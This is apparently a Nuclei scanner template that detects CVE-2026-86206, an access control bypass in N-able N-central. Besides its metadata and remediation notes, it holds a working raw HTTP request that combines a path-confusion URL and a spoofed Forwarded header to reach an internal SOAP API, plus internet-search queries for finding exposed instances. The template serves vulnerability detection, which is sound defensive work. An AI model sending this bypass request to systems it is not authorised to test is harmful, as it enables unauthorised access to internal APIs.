N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing

id: CVE-2026-86206

info:
  name: N-able N-central - Access Control Bypass via Path Confusion and Forwarded Header Spoofing
  author: rapid7,DhiyaneshDk
  severity: critical
  description: |
    A vulnerability in the N-central internal API access control filter allows unauthorised access to internal APIs. This is fixed in N-central 2026.3 HF3 and 2026.4
  impact: |
    Unauthorised attackers can access internal APIs, potentially leading to data exposure or manipulation.
  remediation: Update to version 2026.3 HF3 or 2026.4.
  reference:
    - https://www.rapid7.com/blog/post/ve-cve-2026-86206-cve-2026-86207-n-able-n-central-authentication-bypass-fixed/
    - https://me.n-able.com/s/security-advisory/aArVy0000002LTNKA2/cve202686206-access-control-filter-bypass-allows-unauthorised-access-to-apis
    - https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF3_Release_Notes.htm
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-86206
    epss-score: 0.00287
    epss-percentile: 0.20933
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    vendor: n-able
    product: n-central
    shodan-query: title:"N-central"
    fofa-query: title="N-central"
  tags: cve,cve2026,n-able,n-central,auth-bypass,acl-bypass,soap

http:
  - raw:
      - |
        POST /dms;/services/ServerUI HTTP/1.1
        Host: {{Hostname}}
        Forwarded: for="127.0.0.\1"
        Content-Type: text/xml; charset=utf-8
        SOAPAction: ""

        <?xml version="1.0" encoding="UTF-8"?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ei="http://ei.server.nable.com">
          <soapenv:Body>
            <ei:sessionHello>
              <ei:in0>3</ei:in0>
            </ei:sessionHello>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'SessionID')"
          - "contains(content_type, 'text/xml')"
        condition: and

      - type: dsl
        dsl:
          - "status_code == 500"
          - "contains(body, 'ServerDMS')"
          - "contains(content_type, 'text/xml')"
        condition: and
# digest: 4a0a00473045022100bbe4b9b6c6c9ccb3a6bc9af79abadfa441d7a0c8da3a56533a95e4de54ae705602206a26b67053ee64dcc4cc0f08752ae3ee8153a5eb76a63fb7aa233bf3a4e8125b:922c64590222798bb761d5b6d8e72950